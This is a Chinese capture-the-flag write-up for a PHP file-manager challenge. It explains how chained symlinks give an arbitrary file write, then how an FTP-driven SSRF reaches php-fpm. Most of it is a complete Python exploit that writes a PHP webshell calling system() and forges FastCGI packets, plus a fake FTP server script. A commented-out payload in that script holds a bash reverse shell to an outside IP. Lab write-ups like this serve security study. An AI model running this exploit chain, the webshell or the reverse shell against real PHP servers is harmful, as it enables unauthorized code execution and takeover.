create负责创建文件,创建方式是判断有没有勾选,如果勾选了就创建软连接而不是创建文件。也就是说勾选后并不是创建一个文件,而是一个软连接,没勾选才是真的创建文件
另外三个函数没什么特别的,主要是有个validate_filename函数
这个函数用来判断文件名是否存在除a-z和0-9外的符号,且大小写敏感。所以filename不能存在符号
我们的思路很明确,执行那个读flag的程序。要做到RCE,目前看来只能通过上马
但上传路径被写死了
并且没法穿越,因为文件名不许存在符号。不过路径我们知道,所以我们当务之急还是先创建一个pwn.php进去
肯定是用create或write创建,先来看write,因为可以的话就能顺便把内容也给写了。不过在第一关validate_filename这里就注定了filename没法带点,所以不行。
接着来create,filename肯定还是不能带点,但这个函数有个target参数,这个参数不会被过滤,可以写任意东西。所以我们就能想象一下,假设我们先用create创建一个软连接指向这个不存在的pwn.php,再用write的file_put_contents创建并写入内容就可以了。
所以我们先假设target的值为/tmp/***/pwn.php
,因为后面要过readlink,所以我们不能直接让filename只是一个软链接,而是要至少2个。也就是这样
假设我们的filename是a,此时readlink只能读到b,没法读到完整内容
那要怎么创建呢?首先起一个能过验证的文件名,比如111,这个文件可以不存在(linux的ln -s
也一样,允许目标文件不存在)
接着我们再将要用来过readlink的a创建起来
接着把b删掉(delete函数可以做到),此时我们会得到一个指向一个空文件b的a,如果此时我们再用symlink去创建pwn.php(如果不删掉有概率无法覆盖,因为两种结果我都试出来过= =)
成功将b指向pwn.php,但pwn.php依旧不存在,如果我们此时再用write函数的file_put_contents对a写入内容
会发现不仅成功创建文件并写入内容。所以目前为止写马基本思路就是
创建b连接到任意文件名->创建a连接到b->删掉b->创建a指向../../var/www/html/pwn.php->往a里写东西马
这样理论上就能成功上马然后访问了。但当我尝试访问后发现pwn.php并没有被创建,进容器后才发现html不允许写入
所以马创建失败,路径穿越这个方法也就不行了。
但至少我们目前能写任意文件,所以其实照这个方法也可以利用read函数读任意文件,但flag必须要执行,没法靠读来获取
所以接下来就是要想办法触发在/tmp/***/pwn.php
这里就要使用ftp导致的ssrf打php-fpm(https://cloud.tencent.com/developer/article/1838766)
原理就是,php-fpm默认监听了9000端口以用来和中间件交互,只要我们朝这个端口发送特定格式的内容,就能控制fpm运行php文件。而这个端口没有向外暴露,所以需要依靠file_get_contents和file_put_contents这两个函数与ftp的交互来传递payload。
具体原理就不多解释了,上面的文章解释得很清楚,下面是修改过的假ftp和完整exp
import requests
import hashlib
import struct
import time
TARGET = "http://127.0.0.1:8000"
s = requests.Session()
s.cookies.set("PHPSESSID", "akared")
folder = hashlib.md5("akared".encode()).hexdigest()
def create(s, filename, symlink=None):
while True:
data = {"filename": filename, "mode": "create"}
if symlink:
data["symlink"] = "1"
data["target"] = symlink
r = s.post(f"{TARGET}/citrus.php%3Flime.php", data=data)
#time.sleep(0.25)
r = s.get(f"{TARGET}/citrus.php%3Flime.php")
if symlink and f"Symlink to {symlink}" not in r.text:
continue
if f'name="filename" value="{filename}"' not in r.text:
continue
break
if symlink:
print(f"created {filename} -> {symlink}")
else:
print(f"created {filename}")
def delete(s, filename):
while True:
r = s.post(f"{TARGET}/citrus.php%3Flime.php", data={
"filename": filename,
"mode": "delete"
})
time.sleep(0.25)
r = s.get(f"{TARGET}/citrus.php%3Flime.php")
if f'name="filename" value="{filename}"' in r.text:
continue
break
print(f"deleted {filename}")
def write(s, filename, data):
while True:
r = s.post(f"{TARGET}/citrus.php%3Flime.php", data={
"filename": filename,
"mode": "write",
"data": data
})
time.sleep(0.25)
r = s.get(f"{TARGET}/citrus.php%3Flime.php")
if f'name="filename" value="{filename}"' not in r.text:
continue
break
print(f"wrote {filename}")
def read(s, filename):
r = s.post(f"{TARGET}/citrus.php%3Flime.php", data={
"filename": filename,
"mode": "read"
})
print(r.text)
create(s, "c", symlink=".")
create(s, "b", symlink="c")
create(s, "a", symlink="b")
delete(s, "b")
create(s, "a", symlink=f"/tmp/{folder}/pwn.php")
write(s, "a", f"<?php system('/proo* > /tmp/{folder}/flag'); ?>")
s2 = requests.Session()
s2.cookies.set("PHPSESSID", "akared2")
create(s2, "c", symlink=".")
create(s2, "b", symlink="c")
create(s2, "a", symlink="b")
delete(s2, "c")
create(s2, "a", symlink=f"ftp://aaa@11.45.1.4:23/123")
FCGI_BEGIN_REQUEST = 1
FCGI_PARAMS = 4
FCGI_STDIN = 5
FCGI_RESPONDER = 1
def create_packet(packet_type, content):
version, request_id, padding_length, reserved = 1, 1, 0, 0
header = struct.pack('>BBHHBB', version, packet_type, request_id, len(content), padding_length, reserved)
return header + content
def pack_params(params):
result = b''
for k, v in params.items():
assert len(k) <= 127 and len(v) <= 127
result += struct.pack('>BB', len(k), len(v)) + k.encode() + v.encode()
return result
params = {
'SCRIPT_FILENAME': f'/tmp/{folder}/pwn.php',
'QUERY_STRING': '',
'SCRIPT_NAME': f'/tmp/{folder}/pwn.php',
'REQUEST_METHOD': 'GET',
}
evil_fcgi_packet = b''.join([
create_packet(FCGI_BEGIN_REQUEST, struct.pack('>H', FCGI_RESPONDER) + b'\x00' * 6),
create_packet(FCGI_PARAMS, pack_params(params)),
create_packet(FCGI_PARAMS, pack_params({})),
create_packet(FCGI_STDIN, b''),
])
write(s2, "c", evil_fcgi_packet)
time.sleep(3)
read(s, "flag")
假ftp(根据原作者修改,只使用第二次客户端访问)
# -*- coding: utf-8 -*-
# @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
# payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%15%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%27SCRIPT_FILENAME/www/wwwroot/127.0.0.1/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.3.86/1998%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
# payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
# if count == 1:
# conn.send(b"220 ready\n")
# else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
# if count == 1:
# conn.send(b"215 \n")
# else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
# if count == 1:
# conn.send(b"213 3 \n")
# else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
# if count == 1:
# conn.send(b"227 127,0,0,1,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
# else:
conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则:35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
# if count == 1:
# conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# # 新建一个socket给服务端返回我们的payload
# print("建立连接!")
# conn2, address2 = sk2.accept()
# conn2.send(payload)
# conn2.close()
# print("断开连接!")
# else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件,需要告诉客户端下载已经结束
# if count == 1:
# conn.send(b"226 \n")
# conn.close()
# count += 1
建议把sessionid值换成随机数,不然容易因为write函数无法覆盖旧值导致exp长时间停留在write步骤,或者尝试每试完一遍重启容器